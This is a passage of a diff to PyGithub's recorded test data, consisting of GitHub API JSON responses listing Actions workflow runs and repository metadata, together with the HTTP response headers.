v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":93946842,"node_id":"MDExOldvcmtmbG93UnVuOTM5NDY4NDI=","head_branch":"master","head_sha":"0ca534ee1c0d6c6ddcf5f238ffe1838d75a8e082","run_number":70,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/93946842","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/93946842","pull_requests":[],"created_at":"2020-05-02T16:59:29Z","updated_at":"2020-05-02T17:02:05Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/93946842/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/93946842/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/647935437","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/93946842/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/93946842/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/93946842/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"0ca534ee1c0d6c6ddcf5f238ffe1838d75a8e082","tree_id":"bc083bf2033f2e72b1017d4ceae1b1a9837bf640","message":"Publish version 1.51","timestamp":"2020-05-02T16:58:45Z","author":{"name":"Wan Liuyang","email":"tsfdye@gmail.com"},"committer":{"name":"Wan Liuyang","email":"tsfdye@gmail.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":92714488,"node_id":"MDExOldvcmtmbG93UnVuOTI3MTQ0ODg=","head_branch":"master","head_sha":"1c1cbb49c6ab5a3c256887741994e6138cba4fc5","run_number":63,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/92714488","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/92714488","pull_requests":[],"created_at":"2020-05-01T01:55:44Z","updated_at":"2020-05-01T01:57:47Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/92714488/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/92714488/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/644344978","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/92714488/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/92714488/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/92714488/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"1c1cbb49c6ab5a3c256887741994e6138cba4fc5","tree_id":"83add217bd939b23efb4b27a4c46fdfa29625a5f","message":"Fix typo in PullRequest.rst (#1494)","timestamp":"2020-05-01T01:55:39Z","author":{"name":"Sam Pearlman","email":"sampearl@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}}]} - diff --git a/tests/ReplayData/Workflow.testGetRunsWithStrings.txt b/tests/ReplayData/Workflow.testGetRunsWithStrings.txt index 05ecbce803..cc022d41d9 100644 --- a/tests/ReplayData/Workflow.testGetRunsWithStrings.txt +++ b/tests/ReplayData/Workflow.testGetRunsWithStrings.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Wed, 20 May 2020 06:24:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1589959421'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"abc5ab70fce65e489658c2ccfebeaae2"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF1E:5155:16C6D0:196C0C:5EC4CD04')] {"total_count":6,"workflow_runs":[{"id":109950033,"node_id":"MDExOldvcmtmbG93UnVuMTA5OTUwMDMz","head_branch":"master","head_sha":"61b610926a023d80486ce1115e7331a4c714cfcb","run_number":112,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/109950033","pull_requests":[],"created_at":"2020-05-20T02:37:57Z","updated_at":"2020-05-20T02:40:25Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/698432067","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"61b610926a023d80486ce1115e7331a4c714cfcb","tree_id":"f8bb127aac01f2185fa6d65914859a980d1f89b2","message":"Remove unneeded duplicate string checks in Branch (#1524)\n\nThere were multiple calls checking if an element of a list was a string\r\nor a string -- I suspect this pre-dates use of six in the code base, but\r\nlet's clean it up.","timestamp":"2020-05-20T02:37:52Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 